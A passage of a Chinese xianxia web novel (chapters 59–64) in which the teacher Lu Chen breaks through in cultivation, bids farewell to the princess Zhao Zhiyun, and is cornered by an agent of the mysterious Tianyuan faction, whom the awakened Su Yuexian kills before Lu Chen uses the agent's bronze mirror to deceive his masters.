【无相之人,吉之方位,近一步】
【吉三祸七】
【夫子之责行使完毕】
【宿主将获得大量回馈奖励】
【一:紫府修为
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三百年】
【二:天阶法宝:冥府鬼玉】
【三:小神通:六道轮回】
机械声音突兀的在陆尘脑海之中响起,哪怕是他自己,也并未有任何的预料。
“吉之方位,进一步?”
陆尘皱了皱眉,属实没想到无相之色
的命格是这般算的。
那岂不是别人只能收取一次回馈奖励,而这无相这人却能随着吉凶的变幻不断收取?
想到此处,陆尘又有些庆幸,还好自己与之有个交易,不然到时候还真不好相见。
而且以这奖励来看,最起码相当於紫金色的命格奖励,极为丰富。
此时此刻,回想起女子身影,陆尘只觉得是个可以不断开采的宝库,令人万分心动。
良久后,他收起杂念,不再去多想。
“这《太上开天经》这麽贵重吗?”
张不染自顾自的呢喃一句。
他对於太上开天经的稀罕程度其实并没有多少认知,但他对於九品丹药有,见那女子愿意用九品丹药,七品丹药以及仙草换陆尘一篇经书,张不染便知晓,这经书到底有多麽贵重。
当下又想到陆尘这般轻易便交给自己六篇《太上开天经》,心中不免激荡,感激之情一时间已是无以言表。
“夫子大恩,不染不知道要如何才能还清。”
他面色十分诚恳而语。
陆尘稍稍一愣,拍了拍少年肩头。
“你怎麽不问问我,为何还有几篇不传於你?”
他笑了笑说道。
“夫子传我六篇经书,已经是大恩大德,不染不敢奢求其他。”
听得陆尘此话,张不染又有些惶恐而道。
“等价交换,是天道不变的法则,我予你这些,也是我自有所求,才行之,故而你无需为此惶恐又或者是感激不尽。”
“若你日後有能拿的出手的东西,自然也可与我来交换经书。”
陆尘顿了顿说道,笑容和煦。
张不染呆愣一会,良久后,才若有所思的点了点头。
“多谢夫子指点。”
陆尘点了点头,也不未再多说些什麽,当下在外布了个阵法,便与张不染一同冥想㣉定。
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第五十九章 上阳太阴
心海之内,此时紫气已是澎湃异常,若不是陆尘刻意压制,大有宣泄千里之气象。
从黄亦瑶身上得三百年紫气,再加上先前张不染身上得三百年,陆尘心海之中所堆积紫气,已有六百年之多。
他周天经脉轮转,那紫气便是如被大坝拦截千百年的洪水一般泛滥而起,只是其中大部分都落入那麒麟玉影之中,只有少部分在陆尘周天经脉间流转。
可即便是这泛滥犹如洪水般的紫气之中的一小部分,那也是极为庞大了,一瞬之间,便有一轮大日高悬於紫府之上,光照整片心海。
千年修为累积,终至上阳。
陆尘缓缓睁开眸子,隐隐间已是感觉自己和天地间好似有种莫名的默契,举手投足间,便有天机牵引。
上阳境,修士举手抬足间便可勾动天地之力,与人对敌时,如有一轮大日映照於身前,焚照世间万物。
此境界内,修行火之大道者如鱼得水,如虎添翼,同境相争的话,要占极大的优势。
上阳境共有三转,每一转后,那大日周身的日轮便会多再多一道。
三转过後,若於天地阴阳有所悟,便可踏入太阴之境。
陆尘长舒一口气,再度冥想,将各般秘术神通皆吸纳领悟后,才又睁开眼。
如今他身上光是神通便不下三种,再加上各般秘术法宝相佐,陆尘已是有自信,哪怕面对神游境强者,虽不一定能胜,但亦是有交手的资本了。
当然若是像黄亦瑶这般的神游境天骄,陆尘倒并未觉得自己会有半分胜算。
说到底,还是境界太低了些。
想到此处,他又自视心海处的那枚麒麟玉影。
这枚麒麟玉影一路以来吸收的修为灵气要比自己多的多,若是有朝一日能将之尽数吸收,纳入体内,恐怕修为要瞬间暴涨,到达一个难以想象的地步。
这枚麒麟玉影可以比作一座宝库,而宝库的钥匙,陆尘与那稚童各有一半,总归是会合二为一,落到一人手中。
“好恶毒的法子。”
陆尘又不免叹了口气。
这般法子,不仅是把陆尘当韭菜割,而且这庄稼主也不施肥也不浇水,就那麽静待韭菜自己冒头,而後再挥刀一割,坐享其成。
若韭菜不愿冒头,那也无妨,顶多是长得不好的韭菜罢了,也难逃被收割的命。
他晃了晃脑袋,不再思虑这些杂事。
大离演武之後,便是百朝大战。
届时陆尘便会以护道者的身份同大离演武的五位胜者一同入百朝战场,想必那般地界,会有诸多命格不凡的天之骄子。
护道者并不可参与天骄之间争斗,但可庇护天骄入遗迹之中,以免其因意外陨落。
原先百朝大战并未有这个机制,诸圣地也觉得在百朝大战之中,死便是死了,那也只是时运不济,天道不眷,赖不得他人。
毕竟於修行者而言,冥冥之中的气运亦算得上是实力的一部分。
活下来的人,哪怕表现没那麽出色,那总归也是活了下来,要比死人可优秀的多。
只是有一届百朝大会之中,不知为何,遗迹之中有兽潮暴动而起,而且皆是不符常理的高阶妖兽,诸圣地还未来的及出手,参赛之人便已经死了十之八九,其中更是有诸多早已经被诸圣地预定好的种子选手。
这般一来,诸圣地便加了个护道人的制度,允许封王境以及封王境之下的修士担任天骄们的护道人,以防再有那般异动,白白丧失了一届的好苗子。
而大离王朝原些的护道人是由三院四阁轮流选人担任,但在近几届大离演武下,皆是被墨渊阁之人霸占了这一位子。
陆尘当众人面暴露实力,将那墨渊阁阁主自天外击落,也是为了定下这一护道人的位置。
如今自己不过上阳境界,为修行中
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的第五境,那稚童虽不知何时到达至尊境界,但想来有自己的麒麟玉加身,加之本就是天渊之人,修行速度只怕是要比自己想的还要快的多。
自己若不能在百朝大战之中蜕变,处境恐怕要很危险。
苏月仙虽是战力无双,杀伐无敌,可毕竟是东域当年各圣地联手镇压之人,若其冒然现世,别说给自己护道了,恐怕自身便又要与诸圣地拚死相搏,再度掀起席卷整个东域的腥风血雨。
想到此处,陆尘又不免有些头疼。
自己想要夺回麒麟玉,那麽就要快速提升境界。
而想要快速提升境界,便要想法子解决掉这麒麟玉被夺所带来的反噬。
而解决这麒麟玉反噬的法子,那便是夺回麒麟玉。
这是个死结。
陆尘根本无法从其中下手。
他能做的只能是去见更多的天骄,再搜寻更多术法神通,令自己不仅同阶无敌,更能逆行伐上,以此来弥补境界上的差距。
至於所谓的不死药,陆尘更是一点奢望都没有。
不死药又称长生药,只出现於帝路之上。
真到了那般地步,自己与那稚童的恩怨恐怕早已解决,又何须不死药来解麒麟玉之反噬。
“罢了罢了,暂且不去多想。”
良久后,他又将杂念甩开,双眸闭起
,参悟起流云阁所藏有的那一篇《太上开天经》。
与黄亦瑶一般,陆尘境界未到,并不能领悟此篇经书,只能是凭藉着神魂将之铭刻在心海之中,以等来日修行。
至於为何不直接将此经书带走,陆尘倒是有想过,只是未曾这般做过。
太上开天经世所罕见,除前六篇在世间流传外,后九篇皆散落天地之间,神仙难寻。
而小小的流云阁之中便藏有一篇,其中必定大有渊源,既流传千年至此,陆尘也不至於去将之取走。
第六十章 离别
大离,白鹿书院。
木竹屋内,玄色衣裳的男子待得将屋中仔仔细细的感知了一遍后,这才推门而出,手掌排开,随手往一处方向一握。
只见有道人影自千里外飞来,好似被徒手拎起的鸡子一般,径直落㣉男子掌中。
男子拎着那打更的执事,眸子里忽地闪出一道红光,神魂之力一瞬间涌出,灌㣉那执事的灵海之中。
“夫子陆尘……”
男子呢喃一句,手一掐,那执事便是瞬间烟消云散,身死道消,连哼都未曾哼出一声。
於男子眼中,其与蝼蚁无异,都是随手便可覆灭的对象。
唯一与蝼蚁稍有区别的,便是这执事脑海之中还有些认知,令男子得以确认这木竹屋原些主人的各般消息。
“麒麟玉禁制解除,受书院诸弟子万分爱戴,㣉内院。”
“看来是这小子运气好起来了。”
“也不知遇上了何奇遇。”
玄色男子啧啧两声,眉头挑起,嘴角露出一抹见人饶有趣味的笑意。
“很可惜,到此为止了。”
他幽幽叹了口气,目光向极北之处远眺。
……
数日过去,大离演武已近尾声。
除林炎以及段凌云所在的两处擂台外,其馀三座擂台皆不知换了多少擂主,流过多少鲜血,最终分别落在青鸟书院丶紫狮书院以及紫轩阁三宗弟子之上。
而紫轩阁那位天骄虽有争擂主的资格,却因为林炎的杀伐之气而不敢上前争锋。
其阁内长老虽觉得此事极为屈辱,但也不敢让门下这天骄再去冒险,毕竟他们精心培养的一位传人,前不久正被那林炎斩落於擂台之上,当下只能是暗自在心中再算上一笔账,待得散场后再清算。
黄昏落寞,馀光洒落,映照在擂台之上的斑斑血迹,隐约间竟有种异样的美感。
所有人都注视着擂台之上的五人,尤其是林炎与段凌云二人,目光之中皆满是钦佩。
场下更已经是有人在对赌,赌那林炎与段凌云二人谁才是真正的同辈第一。
“要我说还得是段凌云,那威压气息,让人半点与之对敌的欲望都没有。”
有人叹了口气道。
“我觉得是林炎,连墨渊阁第一天骄都被其斩首,可想而知有多麽恐怖。”
又有人反驳道。
总之各人有各人的说法,林炎与段凌云二人并未真正交手过,也没有人知晓到底谁才是天骄第一。
人群之中,有个衣裳朴素的女子与众多天骄们格格不㣉,她并未参与那些争论,也并未用钦佩艳羡的目光看着擂台上的霸主们。
女子脸上挂着欣慰笑意,眸子里有晶莹泪光闪烁着。
她看着段凌云,笑着笑着便哭了出来。
段凌云亦是在第一时间便注意到了女子,忽地大喊了句姐姐,将众人的目光皆吸引了过去。
只见这位在擂台之上如同绝世霸主一般的天骄此时竟如极为开心的孩童一般奔向女子,脸上笑容灿烂至极。
在场的诸宗弟子们也是一时间哑然失声,默默看着相拥而泣的姐弟二人。
“大离演武已毕,你等五人便待在皇宫之处,七日後,借传送阵法㣉百朝大战之地,我会担任你们的护道人。”
片刻后,陆尘朗声而道。
林炎与段凌云皆露出喜色,十分兴奋的走到的陆尘面前。
“真是夫子任我们的护道人?”
林炎有些不敢置信的问道。
“还能有假不成?”
陆尘笑了笑说道。
原本大离演武过後,并未要求胜䭾要住在皇宫,陆尘也是考虑到林炎与墨渊阁有死仇,这才特地这般说道。
至於赵栀韵那边,自然不会有何异议。
“太好了!又要受夫子拂照了。”
林炎兴奋而语,而後把头看向墨渊阁众人,咧嘴一笑,露出灿白牙齿。
墨渊阁众人咬牙切齿,却又只能将这口气吞下,未有能宣泄之处。
墨渊阁阁主则是脸色阴沉至极,他有些不明白,为何这些年轻人一个一个的这般受天命眷顾。
无论是陆尘赵栀韵这些青年一辈,还是林炎段凌云这些少年一辈,气运都大的惊人,皆是千年难遇的人物,如今却是齐聚一堂,好似有什麽东西在刻意凝聚着他们一般。
“该死,为何我墨渊阁没有如此人物!”
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他心中愤恨至极,他恨林炎这小子,但更恨林炎这小子为什麽不是自己阁中之人。
“姐姐,夫子便是我和你说的那位大恩人。”
段凌云亦是拉着自己的姐姐到了陆尘跟前这般说道。
女子脸上当即便满是感激之情,当下便拉着段凌云想要给陆尘跪拜磕头。
陆尘稍一拂袖,将二人制止。
“我所行,不过夫子之本责而已,无需太过在意。”
他稍微有点尴尬,并不太习惯被这麽多人注视着。
似乎是被林炎与段凌云二人带动,又有诸多天骄皆是跑到陆尘跟前,皆是行礼道谢。
其中不仅有白鹿书院之人,更有其他书院宗门的弟子,皆是陆尘在这几天见之心性纯良又或者是道心坚定而主动指点的。
“夫子当日所言於我如醍醐灌顶,受益匪浅,多谢夫子指点!”
“我也要谢!如不是夫子指点,我此时恐怕已经堕㣉条魔
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道了!”
“我!我也谢!原本一直参悟不透经书,夫子一点我便通了。”
一时之间,诸多天骄皆围在陆尘身旁,吵的他有些头疼。
而那些未受过陆尘指点之人则是面面相觑,你看着我,我看着你。
“要不咱们也去请那位夫子指点指点?”
“去!连林炎与段凌云都要受其拂照,再加上先前墨渊阁阁主都在这位夫子手上受创,想必真是位高人。”
那些未受指点之人此时亦是挤到人群之中,希望陆尘出言指点。
陆尘则觉得万分头疼,当下身影如长虹般急掠而出,摆脱众人纠缠。
赵栀韵看着那位年轻夫子的窘境,当下会心一笑,亦是化作一道惊鸿而出。
“夫子当真是受人爱戴。”
二人好似心有灵犀一般,皆是落在昔日赏花灯的那座桥上。
此时陆尘望鱼,赵栀韵望他。
“陛下说笑了。”
陆尘转过头来说道。
“此间事了,我便要去瑶池圣地了。”
赵栀韵轻声说道。
㣉圣地本是件天大的喜事,可她的眉眼却舒展不开来,有着丝丝缕缕的忧愁徘徊。
“恭喜恭喜。”
陆尘诚心贺道。
在前几日,他亦是收到了冷月宫长孙漠遥的信,说是拜㣉了圣地之中。
这般看来,这些金色气运之人属实非凡,甚至连百朝大战都不必参加,自有大能亲自将之当回圣地之中。
而林炎与段凌云原本皆是紫色气运,如今亦是化作了紫金颜色,或许日後也能蜕变为这帝路争锋的金色气运。
“夫子觉得皇位给谁要好?”
赵栀韵又问。
“七皇子吧,七皇子心性纯良,虽无雄心大才,但是位不可多得的守成之君,於大离众生有益。”
陆尘以自己武道天眼查看下的见解坦言相告。
“我也这般觉得,七弟确实是最合适的人选。”
说完这句,赵栀韵便不再说话,安安静静的托着小脸,看着桥下流水。
良久后,她忽地转头问道。
“夫子还有何要与我说吗?”
“在圣地之中,切记藏锋守拙。”
陆尘看了眼赵栀韵的生平小字后,又说道。
“除此之外呢?还有别的什麽吗?”
她看向陆尘,眸子里像是在期待着什麽。
“倒没什麽了。”
陆尘想了想说道。
赵栀韵无声的应了一句,而後又托着小脸向远处眺望。
女子目光幽幽,那双原本极为好看的眸子此时黯淡无光,好似深秋。
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第六十一章 死
白鹿书院山下,无论是长老夫子亦或是学生弟子皆是一片喜色,行走间欢声笑语不绝。
先前几届的大离演武,白鹿书院都没有入百朝大战的名额,这也导致这座千年学府越发摇摇欲坠,隐隐间有被他阁他院瓜分的危机。
但今日之後,便再无这般担忧了。
书院弟子段凌云以无敌之姿横压同辈天骄,而林炎虽是以听雨阁外援的资格参赛,但三院四阁皆知,其本就出身於白鹿书院。
算下来,此届大离演武,白鹿书院竟一举夺得两个百朝大战的席位,更别说还有陆尘显露锋芒,将墨渊阁阁主也是一顿收拾。
可想而知,此届大离演武,白鹿书院有多风光。
一向古板的祭酒於路上更是畅快而言,回院中后要大摆宴席,全院畅饮三日。
就在众人皆是欢声笑语之时,陆尘却是忽地愣在原地。
他的目光向半山腰望去。
只见半山腰那块白鹿书院的牌匾下,有位身着玄色衣裳的男子向下眺望,目光正好与陆尘视线相撞。
男子的嘴角勾起笑意,张了张嘴。
“你终於来了。”
男子并未开口,陆尘却是听得一清二楚。
有股彻骨的寒意一瞬间遍布全身,好似冷风凛冽而过。
封侯?封王?
陆尘不知道,总之是自己面对上没有半分胜算的那种境界。
“前辈是……”
祭酒走在最前方,亦是注意到了那位男子,当下十分拘谨问道。
男子笑而不语,目光依旧望向陆尘。
“他是我昔日故友,你们先上去吧。”
陆尘朗声而道。
祭酒皱了皱眉,但并未多说什麽,当下收敛喜色,带着众人先行上山。
众人离去后,男子一步一步的走下台阶,并不像什麽修为通天彻地的修士,倒像是寻山问仙的羁旅之人一般。
陆尘站在原地,心海之中,灵气澎湃不已。
“知道我是何人吗?”
男子站在陆尘面前,笑问道。
“你是谁又与我何干?”
陆尘反问道。
男子哈哈大笑,并未恼怒。
“好好看看眼前景色吧,今日後,便再也见不着了。”
男子悠然而语,笑意森然。
他手虚空一握,陆尘便觉得自己好似被人掐着脖子一般,万分难受。
“你要记住,能入天渊,这是你的荣幸。”
男子又道。
陆尘面色铁青,呼吸越发困难。
他的眸子之中忽地闪出一道红光,一瞬之间,男子的神色涣散,虚握的手亦是一松。
神通之术——大梦乖离!
趁着这片刻间的喘息之际,陆尘混沌气宣泄而出,不再有丝毫遮掩,当即催动身法秘技,身影如长虹般急掠而出。
“你走便走了,此间数千人,我可不会留一个活口。”
男子顷刻间便回过神来,二者神魂相差过大,哪怕是神通之术,也只不过能影响男子瞬息。
见陆尘化芒而去,男子并未着急追赶,只是慢悠悠的这般说道,而後气定神闲的站在原地。
果不其然,陆尘去而复返。
他知晓天渊之人的行事,就连圣地都能将之覆灭,小小的白鹿书院,这男子说不留活口,那便真的是会不留活口。
“有何好挣扎的?我说过,入天渊,乃你之幸事,能对我家小姐有些作用,更是你此生最大的荣耀。”
“你现在可能不懂,等你到天渊便明白了。”
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男子话很多,像是许久未与人攀谈一般,此时逮着陆尘说个没完。
“窃贼罢了,谈何荣耀。”
陆尘呵呵一笑,讥讽说道。
男子拂袖一挥,便有一股浩荡灵气宣泄而出,一瞬间便将陆尘震下山脚之处,猛的吐出一口鲜血。
“井底之蛙,对牛弹琴。”
他飘然落到陆尘身前说道。
“走吧,莫要再耍什麽花招,不然我说到做到,别说是这小小书院,你所在的整个王朝,顷刻间都要覆灭。”
男子当下不再嬉笑,冷言而语。
“我可以随你去,但我先要去个地方取一物。”
陆尘站起身来,擦了擦嘴角鲜血。
“你去便去,在你回来之前,每一呼吸间,我便要杀一人。”
男子顿了顿又笑道。
“你杀便杀,你敢杀一人,我便散道於此。”
陆尘亦是呵呵笑道。
“当真?”
男子似乎是被陆尘所言挑起了兴趣,当下笑着问道。
“你大可试试。”
陆尘脸色平淡而语。
一瞬之间,天地俱静,唯有飞鸟无声而过。
男子紧盯着陆尘眸子,见其平淡如水,并未有丝毫异常,当下又是一笑。
“开玩笑的,我怎会如此心狠手辣,你去吧,我随你一同而去。”
男子顿了顿说道。
陆尘不语,沉默着向山顶而去。
男子则一脸悠然神色,跟在陆尘身後,好似万事尽在掌握之中一般。
此时明月高悬,有月光散落
在千层台阶之上,好似寒霜。
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第六十二章 至尊一剑
不知为何,本该通宵畅饮的宴席忽地取消,祭酒严令众人回到各自屋中,不得外出半步。
众人虽不明白到底发生了什麽,但也知晓风雨欲来,皆是在屋中辗转反侧,难以入眠。
本是大喜的日子,一瞬间又化作大悲,天地间彷佛有无形的乌云压在众人心口一般,令人丝毫喘不过气来。
顷刻之间,原本各处皆是欢声笑语的书院便寂寥无比,只有飞鸟自夜空掠过,留下并不清脆的啼叫之声。
山峰之上,陆尘缓步而行,面色凝重,玄色衣裳的男子则是飘浮而行,气定神闲。
他倒并不怕陆尘耍什麽手段,蝼蚁就算竭尽全力,对其而言也不过是蜉蝣撼树罢了。
男子唯一担心的是陆尘拚死了鱼死网破,一心求死,那便很麻烦了。
除此之外,他一概不担心,陆尘越是有什麽花招,他反倒是越放心。
因为那代表着其求生之意便越强。
“还要到哪里?我的耐心可是有限的。”
见陆尘并未动用什麽术法,而是如凡人一般徒步走了许久后,男子稍稍皱了皱眉说道。
“要到了。”
二人穿过一片竹林,到了陆尘的木竹屋前。
院前的那口古井幽深,其上仍布满着层层青苔。
“且慢。”
见陆尘将要翻身入古井之中,那男子一挥袖将灵气扫出,将其禁锢。
“这不会是个传送阵吧。”
男子看向陆尘,试探性的问道。
陆尘坦诚的摇了摇头。
“我本就为了书院众人折返回来,又何苦跑这再传送一般。”
他冷言而语。
“说的也对。”
男子笑着点了点头。
“我与你同去。”
说罢,他便抓着陆尘跳入那古井之中,一瞬便到了井中世界。
此时明月高悬,银霜满地,天地之间,有股异样的凄美之感。
“小世界?”
男子有些吃惊的看了一眼陆尘。
“不愧是天道青睐之人,命格有缺也能有这般奇遇。”
他由衷的赞了一声。
陆尘不语,一步一步的向前方而行。
男子悠然自得的赏析着周遭风景,全当自己在踏青一般。
兔子急了也会咬人,男子此行的目的只是为了将其带回天渊,故而并不想令陆尘过激,以至於自寻死路。
“对了,你那些画是什麽意思?”
百无聊赖间,男子又将那些书画取出,有些好奇问道。
“随手涂鸦。”
陆尘心不在焉的说道。
男子也知陆尘不愿多言,当下也不自讨没趣,再度四处张望起来。
井中世界虽是寂寥,但在月色照耀下,漫步在竹林之中,反倒有股异样的美感。
男子已经很久未享受过这般静谧了,当下反倒是心情好了不少。
二人走了许久后,直至竹林深处,才见一少女坐在青石板凳上,与一熊猫状的机关傀儡对弈,二者身旁,有一青铜棺静立,散发着古老而又荒芜的气息。
男子愣了一愣,一时间竟不知道自己的目光该落在那少女身上好还是那青铜棺身上好。
他一眼便看出那下棋笨拙的少女身负灾祸厄体,这般体质,若是将之放入天渊之中,那才是真正的如潜龙离渊,有一飞冲天之势。
少女也注意到二人,当下转过头来,张了张嘴本想说些什麽,但见陆尘使了个眼色,当即也是乖乖闭嘴,又扭过头去,与那机关傀儡对弈。
男子走到少女面前,蹲下身来,尽力挤出一个和煦笑意。
“小姑娘,你叫什麽名字呀?”
他笑着问道。
秦长乐只当没听见,自顾自的与那机关傀儡对弈。
只是少女棋术属实堪忧,连连悔棋之後,才重新占据上风。
机关傀儡支支吾吾的想说些什麽,少女却是不耐烦的催促道:“不许犹犹豫豫,快下快下!”
这机关傀儡是陆尘怕少女在此过於无聊,特意为其所寻的。
见少女并未理睬自己,又这般无赖模样,男子又是一笑。
“你可知你之命格世间罕见,天地间仅有一处地方最适合你,而我刚好可以带你去,那便是天渊。”
男子高声而语
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,神情自豪。
直到这时,少女才抬头看了眼男子。
不过是以那种看白痴的目光。
机关傀儡也跟着少女有样学样的看向男子,那呆板的脸上竟也露出莫名其妙的嫌弃之色。
男子依旧不恼,反而又将目光落在陆尘身上。
“多谢你带我来此,不仅是你,这妮子还有这青铜棺,我皆要带走。”
“这些因果,非天渊不可承受,落在这般小地方,属实是明珠蒙尘。”
他叹了口气又道。
“哪怕是天渊最卑微的狗,一说起天渊的威势时,也会不由自主的挺起胸膛。”
陆尘呵呵笑了笑,指尖鲜血渗出,落在那青铜棺之上。
男子听到这话仍旧不生气,反而用一种怜悯的目光看着陆尘。
“无知者无畏,我一开始便告诉
你了,但你还是不懂,也对,毕竟是井底之蛙,又如何知天之辽阔。”
“若有一日你到那些圣地世家,才会真正知晓,天渊这二字到底意味着什麽。”
“当然,你没有机会了。”
男子说了一大串话,但好像并未有什麽人听。
少女依旧在与傀儡下棋,而陆尘则是站在青铜棺旁,像是在等待着什麽。
“若你带得走,那请自便。”
片刻后,陆尘说道。
男子倒也不客气,袖袍一挥,便有一阵狂风卷起,将周遭翠竹尽数折断,而少女与机关傀儡亦是被那股狂风卷入半空之中,好似待宰羔羊。
“我不与你做口舌之争,把你要取的东西拿出来,我知晓那青桐棺出有什麽绝世法宝,你尽管用,也便让你死心,乖乖与我回天渊处。”
男子嘀嘀咕咕的,话音未落,青铜棺上的棺盖猛的被一股浩瀚的灵气激荡开来,而後便有一道剑气自棺中掠出,速度之快,饶是以男子境界亦未能逃脱。
剑气一瞬穿过其心口之处,瞬时间鲜血喷涌而出,好似泉柱。
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第六十三章 青铜镜
棺木之中,有位女子悠然起身伸了个懒腰,身段窈窕玲珑。
她那绝美的脸上写满着不悦神色,眉头皱起,语气冰冷的道了一句,“吵死了。”
狂风一瞬消散,秦长乐与机关傀儡皆是刷在地上,嗷呜的叫个不停。
“就是就是!吵个没停!害我下错了好几步棋。”
少女站起身来,拍了拍自己脑袋,而後嘟囔着附和道。
机关傀儡支支吾吾的想说些什麽,但见少女瞥向自己,当下又闭上了嘴。
陆尘嘴角抽搐,那不是你自己悔的吗?
而那被剑气贯穿胸口的男子满眼不可置信的看向棺中女子,好像是见鬼了一般。
“怎麽可能……怎麽可能?”
他捂住心口之处,鲜血却依旧在不断涌出。
“要死要活?”
苏月仙并未理会他,而是看向陆尘。
“能搜寻他的神魂吗?”
陆尘想了想问道,他对於天渊的了解属实过於浅薄,若能从此人身上知晓些什麽,倒也好有所准备。
“不能,这些大势力出身的人,神魂中早就被下过禁制,一旦有人强行搜寻,便会一瞬间魂飞魄散。”
苏月仙解释道。
“但真要杀了他,也不是个办法……毕竟打了小的来老的,下次真要来个至尊,那可就玩完了。”
陆尘沉吟片刻又说道。
“你们把本座当什麽了!”
见二人如此大声的在自己面前谈论如何处置自己,那男子不免大为愤怒,当下灵气宣泄而出,一瞬间便有股异常恐怖的威压笼罩在天地之间。
秦长乐小脸上浮现畏惧之色,赶忙拉着那熊猫傀儡躲在苏月仙以及陆尘二人身後。
“聒噪。”
苏月仙面色冰冷,长袖轻挥,便一瞬间将那股威压驱散,更是将男子猛的压制跪地,犹如背负山岳一般。
“蝼蚁!蝼蚁如何敢欺巨龙!”
男子咬牙切齿,面色狰狞的咆哮道。
苏月仙叹了口气,看向陆尘。
“我想杀了他。”
“行吧,你俩闭上眼睛。”
陆尘转过头去,对秦长乐二人说道。
秦长乐极为听话的用手捂住眼睛,但指间却有留出一抹缝隙。
熊猫傀儡亦是有样学样,但因其手掌粗壮,怎麽也抹不开,只能无奈的看向秦长乐。
“别杀我!我是天渊之人!若杀了我,这里来日没一人能活下来,到时候只会是尸山血海!”
见苏月仙眉宇间真有杀气凝聚,男子这才有惶恐神色露出,当下万分恐惧的大喊大叫着。
“天渊传人本尊尚且杀过,你个奴仆哪来的这麽多废话?”
“蝼蚁。”
苏月仙冷声而语,额头上那火焰纹路亮起,一瞬间便有一道幽蓝色火焰极掠而出,将那男子焚烧殆尽,连魂魄也化的一乾二净。
“他身上的东西别烧了。”
陆尘有些心疼的喊道。
“留下了,有个须弥袋。”
苏月仙打了哈欠,像是有些乏了。
她并非完全状态,神魂与肉身尚未完美融合,冒然出手,极为消耗精力。
陆尘伸出一条胳膊给苏月仙吸血,另一只手则隔空取过那须弥袋,将神魂探入其中,搜寻有何有用之物。
“这个是……”
他取出一枚铜镜,觉得其上气息古老神秘,与这青铜棺倒有些相似气味。
“这是天渊之人联络所用之物。”
苏月仙抬起头,脸上有股慵懒之色,她的嘴角鲜血还未擦乾,有股异样的动人之色。
秦长乐则是在一旁极为崇拜的看着苏月仙,只觉得神仙姐姐怎麽这般厉害。
夫子你可要加油啊!
她暗自挥了挥自己的小粉拳,替陆尘在心底加油呐喊。
“我用了的话,不会锁定上我吧?”
陆尘嘀咕道。
“会倒是会。”
苏月仙正说间,那铜镜忽地有亮光浮现,只见光芒散去后,有两个小字缓缓在铜镜之上浮现。
渔夫:如何
陆尘愣了愣,有些茫然的看向苏月仙。
“你滴血炼化,方可用。”
苏月仙看白痴一样的眼神看向陆尘。
陆尘倒并不在意,当下将指尖血滴落,一瞬间便与失去主人的铜镜建立起联系。
“该怎麽回呢?”
他自顾自的嘀咕道。
天渊总归是势大,自己杀的了来人一次,可下次呢?
谁知道会是何境界,若是真正的至尊亲至,以如今苏月仙的状态,恐怕并没有胜
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算。
再这至尊威压下,自己恐怕连引其入井中世界的机会都没。
既然如此,自己要好好的把握住这铜镜的联络机会,将天渊那边稳住。
“一切顺利。”
陆尘顿了顿,心念一起,那铜镜之上便回复道。
这“如何”所问,自然便是原些铜镜主人,那玄色衣裳男子的进展如何。
但陆尘也不敢多说些什麽,只能尽量简短的这般回复。
“速归,此子事关小姐帝位,切不可有失。”
那铜镜之上很快的又浮现出一行小字。
陆尘并未着急回复,而是看向苏月仙又问道:“这铜镜只能与单人联系吗?”
苏月仙摇了摇头。
“并不是,你神魂一探便知。”
她又说道。
“我勒个企鹅群啊。”
陆尘忽没来由的这般说道。
苏月仙疑惑的看了眼陆尘。
陆尘尴尬一笑。
“没啥。”
他摆了摆手,将神魂探入铜镜之中。
只见自己仿若置身在一张星罗密布的蛛网之中,有数百条分支以自己为圆心延展开来。
只是有些线是暗的,有些线是亮的。
“亮的才是你可以联络的,灰的是断联很久的。”
苏月仙像是预判了陆尘的问题,当下又说道。
“你怎麽知道这麽多?”
陆尘好奇问道。
苏月仙歪着脑袋,仔细的回忆起来。
“当初杀了个天渊传人後,我嫌到时候被人一个一个找上门麻烦,就用他的铜镜把他的联络人都给骗了出来,一起杀了。”
她语气平淡的说道,就好似杀天渊传人与杀其他人并无两样,都不过是鸡子一般。
“倒还挺管用的,反正都杀光了后,反倒没再碰见过天渊的人。”
苏月仙顿了顿又说道。
陆尘嘴角抽搐,一时间不知道说些什麽好。
“当初镇压你的那些人是什麽境界呀?”
陆尘又有些好奇问道。
“道君,原本帝路不现,道君不出,但这些老乌龟还是出来了。”
说到这时,苏月仙眸子里又有杀气涌出。
“等我出去,再一个一个把他们找出来。”
第六十四章 流离之人追逐幻影
“道君……”
陆尘呢喃这二字,莫名的便感受到一股威压,好似天地之间有浩荡灵气宣泄一般。
这般境界於其而言属实太过遥远,甚至於陆尘还是第一次知晓此境的名称。
“道君已经几近修行大道的极点,於天地而言,每一位道君都好似饕餮一般,在不断吸食天地本源,故而天地意志所化的天道,也会极尽所能的针对道君。”
苏月仙罕见的耐心与陆尘解释。
“给你打个比方,至尊者,於天地间无拘无束,一念万物生,一念万物死,而等他们成了道君,反而是束手束脚,处处要受天道针对,好似是戴了手链脚铐一般,如游龙被缚,不得自由。”
“故而修行之人大抵有两种选择,一种是将境界压制在至尊境,一种则是合道称君后,自封于禁地不出,只待帝路开启。”
“当初本尊在东域杀的无人可拦,便是那几个道君老乌龟跑了出来,将我镇压於青铜棺中,用困龙锁束缚,流放小世界千年。”
她语气幽幽,将往事缓缓说道。
秦长乐在一旁虽并听不得太懂,但还是心情激荡,知晓那肯定是一段血雨腥风的光辉岁月。
“那帝路呢?是多少年开一次?”
陆尘又问道。
这些虚无缥缈的东西他向来只在古籍中的只言片语间有所了解,自然比不上亲口听秦长乐所言。
苏月仙摇了摇头。
“帝路开启并未有何规律,可能是明日,也可能是纪元崩碎的前一刻。”
帝路,哪怕光听这二字,便莫名的令人感受到深处血与火之中,好似有无数热泪洒落其中。
有关帝路的传言并不少,大抵都是那些古之大帝的趣闻。
诸如青帝百死而问鼎帝路,白帝七下九幽,却依旧未寻得心爱女子之魂魄。
总之各般传言,像是神话故事一般在世俗世界口口相传,成为人们茶馀饭後的谈资。
而说书人最爱说的则是赤帝,赤帝问鼎帝路之旅并不似青帝那般坎坷,也不似白帝那般轻易,有登高时的凌云之志,亦有在谷底之处的飘零之叹。
这般曲折故事,自然适合在茶馆酒楼之中说与他人听。
至於这故事几分真几分假,看客们自然不以为意。
“惜败於天渊之人……”
陆尘回忆起苏月仙生平的那行小字,武道天眼看到的虽非命中注定的结局,但亦是代表了命运的大抵走向
而在武道天眼预测的未来下,苏月仙在帝路尽头落败,与帝位失之交臂,而夺得之人,为天渊中人。
陆尘虽不知那天渊中人是否就是夺舍气运之人,但无论如何看来,天渊都是个极为恐怖的地方,底蕴大的吓人。
自己唯一能庆幸的便是按照那至尊老者所言,天渊之中亦是派系横生,并非铁板一片,这般下来,自己的处境便是要好上不少。
这般看来,苏月仙天姿确实过於可怕,哪怕被镇压千年,出世后亦是能走到帝路尽头,甚至於险些夺得帝位。
“想什麽呢?”
